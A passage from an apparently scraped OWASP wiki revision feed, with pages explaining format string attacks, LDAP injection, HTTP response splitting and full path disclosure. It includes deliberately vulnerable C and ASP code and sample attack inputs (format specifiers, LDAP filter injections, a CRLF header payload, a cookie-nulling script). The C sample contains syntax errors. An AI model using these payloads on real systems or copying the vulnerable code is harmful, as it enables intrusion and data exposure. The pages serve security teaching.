The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. This way, the attacker could execute code, read the stack or cause segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.&lt;br /&gt;
   &lt;br /&gt;
To understand the attack it’s necessary to explain the components that constitute it. They are:&lt;br /&gt;
•The '''Format Function''' is an ANSI C conversion function, like '''printf, fprintf''', which converts primitive variable of the programming language in a human readable string representation. &lt;br /&gt;
&lt;br /&gt;
•The '''Format String''' is the argument of the Format Function and is an ASCII Z string which contains text and format parameters, like: '''printf (&amp;quot;The magic number is: %d\n&amp;quot;, 1911)''';&lt;br /&gt;
&lt;br /&gt;
•The '''Format String Parameter''', like '''%x %s''' defines the type of conversion of the format function.&lt;br /&gt;
&lt;br /&gt;
The attack could be executed when the application doesn’t validate properly the submitted input. In this case if a Format Strings parameter, like %x, is inserted in the posted data,  the string is parsed by the Format Function the conversion specified in the parameters is executed.   However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.&lt;br /&gt;
&lt;br /&gt;
This way is possible to define a well crafted input that could change the behavior of the format function permitting the attacker to cause deny of service or to execute arbitrary commands.&lt;br /&gt;
&lt;br /&gt;
If the application uses Format Functions in the source-code which is able to interpret formatting characters, the attacker could explore the vulnerability inserting formatting characters in a form of the website. For example, the '''printf''' function is used to print the username inserted in some fields of the page, the website could be vulnerable to this kind of attack, as showed below:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
Following some examples in the table 2 of Format Functions, which if not  treated can expose the application to the Format String Attack.&lt;br /&gt;
&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Format function&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
|fprint&lt;br /&gt;
|Writes the printf to a file&lt;br /&gt;
|-&lt;br /&gt;
|printf&lt;br /&gt;
|Output a formatted string&lt;br /&gt;
|-&lt;br /&gt;
|sprintf&lt;br /&gt;
|Prints into a string&lt;br /&gt;
|-&lt;br /&gt;
|snprintf&lt;br /&gt;
|Prints into a string checking the length&lt;br /&gt;
|-&lt;br /&gt;
|vfprintf&lt;br /&gt;
|Prints the a va_arg structure to a file&lt;br /&gt;
|-&lt;br /&gt;
|vprintf&lt;br /&gt;
|Prints the va_arg structure to stdout&lt;br /&gt;
|-&lt;br /&gt;
|vsprintf&lt;br /&gt;
|Prints the va_arg to a string&lt;br /&gt;
|-&lt;br /&gt;
|vsnprintf&lt;br /&gt;
|Prints the va_arg to a string checking the length&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Table 1. Format Functions'''&lt;br /&gt;
&lt;br /&gt;
Below there are some format parameters which can be used and its consequences:&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%x&amp;quot; Read data from the stack&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%s&amp;quot; Read character strings from the process' memory&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%n&amp;quot; Write an integer to locations in the process' memory&lt;br /&gt;
&lt;br /&gt;
To discover whether  the application is vulnerable to this type of attack, it´s necessary to verify if the format function accepts and parses the format string parameters show in the table 2.&lt;br /&gt;
&lt;br /&gt;
Format strings parameters:&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Parameters&lt;br /&gt;
!Output&lt;br /&gt;
!Passed as&lt;br /&gt;
|-&lt;br /&gt;
|%%&lt;br /&gt;
|% character (literal)&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%p&lt;br /&gt;
|External representation of a pointer to void&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%d&lt;br /&gt;
|Decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%c&lt;br /&gt;
|Character&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|%u&lt;br /&gt;
|Unsigned decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%x&lt;br /&gt;
|Hexadecimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%s&lt;br /&gt;
|String&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%n&lt;br /&gt;
|Writes the number of characters into a pointer&lt;br /&gt;
|Reference&lt;br /&gt;
|}&lt;br /&gt;
'''Table 2. Common parameters use to Format String Attack.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example1===&lt;br /&gt;
The example has the intention to demonstrate how the application can behave when the format function does not receive the necessary treatments for the validation in the input of format string.&lt;br /&gt;
&lt;br /&gt;
First  it will be shown the application operating with normal behavior and normal inputs, then, the application operating when the attacker input the format string and the resultant behavior.&lt;br /&gt;
&lt;br /&gt;
Below it will be presented the source-code used for the example. &lt;br /&gt;
 #include  &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;stlib.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main (int argc, char **argv)&lt;br /&gt;
 {&lt;br /&gt;
 	char buf [100]&lt;br /&gt;
 	int x = 1&lt;br /&gt;
 	snprintf ( buf, sizeof buf, argv [1] ) ;&lt;br /&gt;
 	buf [ sizeof buf -1 ] = 0&lt;br /&gt;
 	printf ( “Buffer size is: (%d) \nData input: %s \n” , strlen (buf) , buf ) ;&lt;br /&gt;
 	printf ( “X equals: %d/ in hex: %#x\nMemory address for x: (%p) \n” , x, x, &amp;amp;x) ;&lt;br /&gt;
 	return 0 ;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next it will be presented the output that the program supplies when running with expected inputs. In this case the program received the string “Bob” as input and returned it in the output.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (16)&lt;br /&gt;
 Data input : Bob&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
Now  the format string vulnerability will be explored. If the format string parameter “%x %x” is inserted in the input string, when the format function parses the argument, the output will display the name Bob, but instead of showing the %x string, the application will show the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob %x %x”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (27)&lt;br /&gt;
 Data input : Bob bffff 8740&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
The inputs Bob and the format strings parameters will be attributed to the variable buf inside of the code which should take place of the %s in the Data input. So now the printf argument looks like:&lt;br /&gt;
&lt;br /&gt;
 printf ( “Buffer size is: (%d) \n Data input: Bob %x %x \n” , strlen (buf) , buf ) ;&lt;br /&gt;
&lt;br /&gt;
When the application prints the results, the format function will interpret the format strings inputs showing the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
==Example 2==&lt;br /&gt;
'''Denial of Service'''&lt;br /&gt;
&lt;br /&gt;
In this case,  when  an invalid address of memory is requested, normally the program is terminated, taking this as an example in a function:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
The attacker could insert a sequence of format strings, making the program to show the memory address where a lot of other data are stored, then, the attacker increases the possibilities of the program to read an illegal address, crashing the program and  causing its non-availability.&lt;br /&gt;
&lt;br /&gt;
 printf (%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s);&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
[[Code Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Format_string_attack&lt;br /&gt;
&lt;br /&gt;
*http://seclists.org/bugtraq/2005/Dec/0030.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=LDAP_injection&amp;diff=32358</id>
		<title>LDAP injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=LDAP_injection&amp;diff=32358"/>
				<updated>2008-06-24T22:09:52Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it’s possible to modify LDAP statements using a local proxy. This could result in the execution of arbitrary command such as granting permissions to unauthorized queries, and content modification inside the LDAP tree.&lt;br /&gt;
The same advanced exploitation techniques available in SQL Injection can be similarly applied in LDAP Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In a page with a user search form, the following code is responsible to catch input value and generate a LDAP query that will be used in LDAP database.&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;text&amp;quot; size=20 name=&amp;quot;userName&amp;quot;&amp;gt;Insert the username&amp;lt;/input&amp;gt; &lt;br /&gt;
&lt;br /&gt;
The  LDAP query is narrowed down for performance and the underlying code for this function might be the following:&lt;br /&gt;
  String ldapSearchQuery = &amp;quot;(cn=&amp;quot; + $userName + &amp;quot;)&amp;quot;;&lt;br /&gt;
  System.out.println(ldapSearchQuery); &lt;br /&gt;
&lt;br /&gt;
Case the variable $userName is not validated, it could be possible accomplish LDAP injection, as follows:&lt;br /&gt;
 *If a user puts “*” on box search, the system may return all the usernames on the LDAP base&lt;br /&gt;
 *If a user puts “jonys) (| (password = * ) )”, it will generate the code bellow revealing jonys’ password&lt;br /&gt;
 ( cn = jonys ) ( | (password = * ) )&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following vulnerable code is used in an ASP web application which provides login with LDAP data base. &lt;br /&gt;
On line 11, the variable userName is initialized and validated to check if it’s not in blank. Then, the content of this variable is used to construct a LDAP query used by SearchFilter on line 28. The attacker has the chance specify what will be queried on LDAP server, and see the result on the line 33 to 41, are all results and their attributes are displayed.&lt;br /&gt;
&lt;br /&gt;
Commented vulnerable asp code:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
 1.	&amp;lt;html&amp;gt;&lt;br /&gt;
 2.	&amp;lt;body&amp;gt;&lt;br /&gt;
 3.	&amp;lt;%@ Language=VBScript %&amp;gt;&lt;br /&gt;
 4.	&amp;lt;%&lt;br /&gt;
 5.	Dim userName&lt;br /&gt;
 6.	Dim filter&lt;br /&gt;
 7.	Dim ldapObj&lt;br /&gt;
 8.		&lt;br /&gt;
 9.	Const LDAP_SERVER = &amp;quot;ldap.example&amp;quot;&lt;br /&gt;
 10.	&lt;br /&gt;
 11.	userName = Request.QueryString(&amp;quot;user&amp;quot;)&lt;br /&gt;
 12.	&lt;br /&gt;
 13.	if( userName = &amp;quot;&amp;quot; ) then&lt;br /&gt;
 14.	Response.Write(&amp;quot;Invalid request. Please specify a valid&lt;br /&gt;
 15.	user name&amp;quot;)&lt;br /&gt;
 16.	Response.End()&lt;br /&gt;
 17.	end if&lt;br /&gt;
 18.	&lt;br /&gt;
 19.	filter = &amp;quot;(uid=&amp;quot; + CStr(userName) + &amp;quot;)&amp;quot; ' searching for the  user entry &lt;br /&gt;
 20.	&lt;br /&gt;
 21.	'Creating the LDAP object and setting the base dn&lt;br /&gt;
 22.	Set ldapObj = Server.CreateObject(&amp;quot;IPWorksASP.LDAP&amp;quot;)&lt;br /&gt;
 23.	ldapObj.ServerName = LDAP_SERVER&lt;br /&gt;
 24.	ldapObj.DN = &amp;quot;ou=people,dc=spilab,dc=com&amp;quot;&lt;br /&gt;
 25.	&lt;br /&gt;
 26.	'Setting the search filter&lt;br /&gt;
 27.	ldapObj.SearchFilter = filter&lt;br /&gt;
 28.	&lt;br /&gt;
 29.	ldapObj.Search&lt;br /&gt;
 30.	&lt;br /&gt;
 31.	'Showing the user information&lt;br /&gt;
 32.	While ldapObj.NextResult = 1&lt;br /&gt;
 33.	Response.Write(&amp;quot;&amp;lt;p&amp;gt;&amp;quot;)&lt;br /&gt;
 34.	&lt;br /&gt;
 35.	Response.Write(&amp;quot;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;User information for: &amp;quot; + &lt;br /&gt;
 36.	ldapObj.AttrValue(0) + &amp;quot;&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
 37.	For i = 0 To ldapObj.AttrCount -1&lt;br /&gt;
 38.	Response.Write(&amp;quot;&amp;lt;b&amp;gt;&amp;quot; + ldapObj.AttrType(i) +&amp;quot;&amp;lt;/b&amp;gt;: &amp;quot; +&lt;br /&gt;
 39.	ldapObj.AttrValue(i) + &amp;quot;&amp;lt;br&amp;gt;&amp;quot; )&lt;br /&gt;
 40.	Next&lt;br /&gt;
 41.	Response.Write(&amp;quot;&amp;lt;/p&amp;gt;&amp;quot;)&lt;br /&gt;
 42.	Wend&lt;br /&gt;
 43.	%&amp;gt;&lt;br /&gt;
 44.	&amp;lt;/body&amp;gt;&lt;br /&gt;
 45.	&amp;lt;/html&amp;gt;   &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In the example above, we send the * character in the user parameter which will result in the filter variable in the code to be initialized with (uid=*). The resulting LDAP statement will make the server return any object that contains a uid attribute like username.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; http://www.some-site.org/index.asp?user=*  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Information Disclosure]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Interpreter Injection]]&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Command Injection]]&lt;br /&gt;
*[[Relative Path Traversal]]&lt;br /&gt;
*[[Resource Injection]]&lt;br /&gt;
*[[Path Manipulation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf&lt;br /&gt;
&lt;br /&gt;
* http://www.ietf.org/rfc/rfc1960.txt A String Representation of LDAP Search Filters (RFC1960)&lt;br /&gt;
&lt;br /&gt;
* http://www.redbooks.ibm.com/redbooks/SG244986.html IBM RedBooks - Understanding LDAP&lt;br /&gt;
&lt;br /&gt;
* http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=32356</id>
		<title>HTTP Response Splitting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTTP_Response_Splitting&amp;diff=32356"/>
				<updated>2008-06-24T22:09:19Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
HTTP response splitting vulnerabilities occur when:&lt;br /&gt;
&lt;br /&gt;
* Data enters a web application through an untrusted source, most frequently an HTTP request. &lt;br /&gt;
* The data is included in an HTTP response header sent to a web user without being validated for malicious characters. &lt;br /&gt;
&lt;br /&gt;
As with many software security vulnerabilities, HTTP response splitting is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.&lt;br /&gt;
&lt;br /&gt;
To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String author = request.getParameter(AUTHOR_PARAM);&lt;br /&gt;
	...&lt;br /&gt;
	Cookie cookie = new Cookie(&amp;quot;author&amp;quot;, author);&lt;br /&gt;
        cookie.setMaxAge(cookieExpiration);&lt;br /&gt;
        response.addCookie(cookie);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming a string consisting of standard alpha-numeric characters, such as &amp;quot;Jane Smith&amp;quot;, is submitted in the request the HTTP response including this cookie might take the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Jane Smith&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as &amp;quot;Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...&amp;quot;, then the HTTP response would be split into two responses of the following form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
	Set-Cookie: author=Wiley Hacker&lt;br /&gt;
	&lt;br /&gt;
	HTTP/1.1 200 OK&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting and page hijacking.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[Client-side attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Cross-User Defacement]]&lt;br /&gt;
*[[Cache Poisoning]]&lt;br /&gt;
*[[Cross-Site Scripting]]&lt;br /&gt;
*[[Page Hijacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.infosecwriters.com/text_resources/pdf/HTTP_Response.pdf - HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* http://www.securiteam.com/securityreviews/5WP0E2KFGK.html - Introdution to HTTP Response Spliting&lt;br /&gt;
&lt;br /&gt;
* Watchfire Whitepaper: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics Whitepaper[http://download.watchfire.com/ttl/wp/HTTPResponseSplitting.pdf?file=HTTPResponseSplitting.pdf&amp;amp;authToken=1214447561_257e36e250a83a8e5942584866d295ee]&lt;br /&gt;
&lt;br /&gt;
==Credit==&lt;br /&gt;
&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category: Protocol Manipulation]]&lt;br /&gt;
&lt;br /&gt;
[[Category: Attack]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Full_Path_Disclosure&amp;diff=32354</id>
		<title>Full Path Disclosure</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Full_Path_Disclosure&amp;diff=32354"/>
				<updated>2008-06-24T22:08:51Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Full Path Disclosure (AKA, FPD) vulnerabilities enable the attacker to see the path to the webroot/file.  Eg: /home/omg/htdocs/file/. &lt;br /&gt;
Certain vulnerabilities such as using the load_file() (within an SQL injection) query to view page sources require the attacker to have the full path to the file they wish to view.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
*  '''Empty Array'''&lt;br /&gt;
&lt;br /&gt;
If we have a site that uses a method of requesting a page like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://site.com/index.php?page=about&amp;lt;/pre&amp;gt;&lt;br /&gt;
We can use a method of opening and closing braces and causing the page to output an error.  This method would look like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://site.com/index.php?page[]=about&amp;lt;/pre&amp;gt;&lt;br /&gt;
This renders the page defunct thus spitting out an error:&lt;br /&gt;
&amp;lt;pre&amp;gt;Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84&lt;br /&gt;
Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/index.php on line 131&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  '''Null Session Cookie'''&lt;br /&gt;
&lt;br /&gt;
Another popular and very reliable method of producing errors containing a FPD is to give the page a nulled session using Javascript Injections.&lt;br /&gt;
A simple injection using this method would look something like so:&lt;br /&gt;
&amp;lt;pre&amp;gt;javascript:void(document.cookie=&amp;quot;PHPSESSID=&amp;quot;);&amp;lt;/pre&amp;gt;&lt;br /&gt;
By simply setting the PHPSESSID cookie to nothing (null) we get an error.&lt;br /&gt;
&amp;lt;pre&amp;gt;Warning: session_start() [function.session-start]: The session id contains illegal characters, &lt;br /&gt;
valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Information Disclosure]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Relative Path Traversal]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
This vulnerability is prevented simply by turning error reporting off so your code does not spit out errors.&lt;br /&gt;
&amp;lt;pre&amp;gt;error_reporting(0);&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm&lt;br /&gt;
&lt;br /&gt;
*[http://www.enigmagroup.org/ Articled summarised from Full Path Disclosure article by haZed on EnigmaGroup.org.]&lt;br /&gt;
&lt;br /&gt;
*[http://www.enigmagroup.org/pages/view_articles/artID/175/ Original article location (registration required).]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	</feed>